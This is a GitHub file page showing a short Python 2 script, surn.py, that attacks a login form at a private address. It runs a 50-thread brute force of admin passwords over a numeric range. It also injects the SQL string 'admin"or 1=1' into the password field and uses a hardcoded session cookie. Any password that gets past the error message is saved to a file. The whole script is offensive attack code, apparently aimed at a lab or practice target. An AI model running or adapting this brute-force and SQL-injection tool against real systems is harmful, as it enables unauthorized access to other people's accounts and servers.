forked from zhongyingqun/python
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsurn.py
More file actions
55 lines (45 loc) · 1.46 KB
/
surn.py
File metadata and controls
55 lines (45 loc) · 1.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# coding: utf-8
import urllib, urllib2
import md5
import datetime
import Queue
import threading
passwords = [number for number in range(750000, 800000)]
queue = Queue.Queue()
def log_in(username, pswd, checkid):
pswd = str(pswd)
a = md5.new(pswd)
password = a.hexdigest()
#print username, pswd, checkid
password = 'admin"or 1=1'
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', "PHPSESSID=b168a50cbd626d1bedfef223fb2592d3"))
formdata = {"action":"login", "uname": username, "pass": password, "checkid": checkid}
data_encoded = urllib.urlencode(formdata)
response = opener.open("http://10.0.0.55:8081/login.php", data_encoded)
content = response.read()
print content.decode("gbk")
if content.decode("gbk").encode("utf-8") != "用户名或密码错误":
f = open("password.txt", "a")
f.write(pswd)
f.close()
print "密码就是:" + pswd
class ThreadUrl(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while True:
pswd = self.queue.get()
log_in("admin", pswd, "8844")
def main():
for i in range(50):
t = ThreadUrl(queue)
t.setDaemon(True)
t.start()
for pswd in passwords:
queue.put(pswd)
queue.join()
if __name__ == "__main__":
#main()
log_in("admin", "admin", "4197")